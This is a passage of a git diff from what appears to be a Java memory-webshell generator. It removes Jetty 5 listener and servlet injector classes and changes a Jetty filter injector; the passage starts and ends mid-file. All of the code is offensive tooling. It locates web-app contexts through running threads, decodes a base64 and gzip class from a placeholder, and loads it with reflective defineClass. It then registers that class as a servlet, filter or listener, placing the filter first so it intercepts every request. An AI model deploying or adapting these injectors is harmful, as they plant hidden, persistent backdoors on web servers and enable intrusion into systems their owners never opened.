||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,440 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.EventListener;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5ListenerInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5ListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
if (hasListener(context)) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
try {
|
||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
|
||||
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
}
|
||||
ensureJsr154Filter(webApplicationHandler);
|
||||
syncJsr154Filter(webApplicationHandler);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
private boolean hasListener(Object context) throws Exception {
|
||||
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
|
||||
return true;
|
||||
}
|
||||
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
return hasWebApplicationHandlerListener(webApplicationHandler);
|
||||
}
|
||||
|
||||
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
|
||||
return true;
|
||||
}
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
|
||||
return true;
|
||||
}
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
|
||||
return true;
|
||||
}
|
||||
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
|
||||
}
|
||||
|
||||
private Object getFieldValueQuietly(Object obj, String name) {
|
||||
try {
|
||||
return getFieldValue(obj, name);
|
||||
} catch (Throwable ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private boolean containsListener(Object listeners) {
|
||||
if (listeners == null) {
|
||||
return false;
|
||||
}
|
||||
if (listeners instanceof List) {
|
||||
List list = (List) listeners;
|
||||
for (int i = 0; i < list.size(); i++) {
|
||||
if (isInjectedListener(list.get(i))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
if (listeners.getClass().isArray()) {
|
||||
int length = Array.getLength(listeners);
|
||||
for (int i = 0; i < length; i++) {
|
||||
if (isInjectedListener(Array.get(listeners, i))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
return isInjectedListener(listeners);
|
||||
}
|
||||
|
||||
private boolean isInjectedListener(Object listener) {
|
||||
return listener != null && listener.getClass().getName().contains(getClassName());
|
||||
}
|
||||
|
||||
private void ensureJsr154Filter(Object webApplicationHandler) {
|
||||
try {
|
||||
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
|
||||
if (filterHolder == null) {
|
||||
filterHolder = invokeMethod(webApplicationHandler,
|
||||
"defineFilter",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
|
||||
}
|
||||
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||
invokeMethod(filterHolder, "start");
|
||||
}
|
||||
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
|
||||
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
|
||||
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
|
||||
try {
|
||||
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
|
||||
invokeMethod(webApplicationHandler,
|
||||
"addFilterPathMapping",
|
||||
new Class[]{String.class, String.class, int.class},
|
||||
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
|
||||
}
|
||||
movePathFilterToFront(webApplicationHandler, "jsr154");
|
||||
clearChainCache(webApplicationHandler);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void syncJsr154Filter(Object webApplicationHandler) {
|
||||
try {
|
||||
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
|
||||
if (jsr154Filter == null) {
|
||||
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
|
||||
if (jsr154FilterHolder != null) {
|
||||
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
|
||||
}
|
||||
}
|
||||
if (jsr154Filter == null) {
|
||||
return;
|
||||
}
|
||||
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
|
||||
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters == null) {
|
||||
return false;
|
||||
}
|
||||
for (int i = 0; i < pathFilters.size(); i++) {
|
||||
Object filterMapping = pathFilters.get(i);
|
||||
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||
String name = (String) invokeMethod(filterHolder, "getName");
|
||||
if (filterName.equals(name)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters == null || pathFilters.size() < 2) {
|
||||
return;
|
||||
}
|
||||
for (int i = 0; i < pathFilters.size(); i++) {
|
||||
Object filterMapping = pathFilters.get(i);
|
||||
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||
String name = (String) invokeMethod(filterHolder, "getName");
|
||||
if (filterName.equals(name)) {
|
||||
pathFilters.remove(i);
|
||||
pathFilters.add(0, filterMapping);
|
||||
return;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void clearChainCache(Object webApplicationHandler) {
|
||||
clearCacheField(webApplicationHandler, "_chainCache");
|
||||
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||
}
|
||||
|
||||
private void clearCacheField(Object object, String name) {
|
||||
try {
|
||||
Object cache = getFieldValue(object, name);
|
||||
if (cache instanceof Map[]) {
|
||||
Map[] maps = (Map[]) cache;
|
||||
for (int i = 0; i < maps.length; i++) {
|
||||
if (maps[i] != null) {
|
||||
maps[i].clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
field.set(obj, value);
|
||||
return;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,254 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5ServletInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5ServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
Object servletHandler = getWebApplicationHandler(context);
|
||||
|
||||
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
invokeMethod(
|
||||
servletHandler,
|
||||
"addServlet",
|
||||
new Class[]{String.class, String.class, String.class},
|
||||
new Object[]{getClassName(), getUrlPattern(), getClassName()});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -5,8 +5,9 @@ import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
@@ -43,7 +44,7 @@ public class JettyFilterInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -85,61 +86,67 @@ public class JettyFilterInjector {
|
||||
return;
|
||||
}
|
||||
|
||||
String[][] filterHolderClassNames = new String[][]{
|
||||
new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
|
||||
new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
|
||||
new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
|
||||
new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
|
||||
new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
|
||||
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
|
||||
String[] classNames = new String[]{
|
||||
"org.eclipse.jetty.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
||||
"org.mortbay.jetty.servlet.FilterHolder",
|
||||
};
|
||||
|
||||
Class<?> filterHolderClass = null;
|
||||
Class<?> filterMappingClass = null;
|
||||
|
||||
for (String[] classNames : filterHolderClassNames) {
|
||||
for (String className : classNames) {
|
||||
try {
|
||||
filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
|
||||
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
|
||||
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
if (filterHolderClass == null || filterMappingClass == null) {
|
||||
throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
|
||||
if (filterHolderClass == null) {
|
||||
throw new ClassNotFoundException("FilterHodler");
|
||||
}
|
||||
|
||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||
Object filterHolder = constructor.newInstance(filter.getClass());
|
||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||
moveFilterToFirst(servletHandler);
|
||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||
}
|
||||
|
||||
invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
|
||||
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
||||
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
|
||||
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
|
||||
int filterLength;
|
||||
|
||||
Object filterMapping = filterMappingClass.getConstructor().newInstance();
|
||||
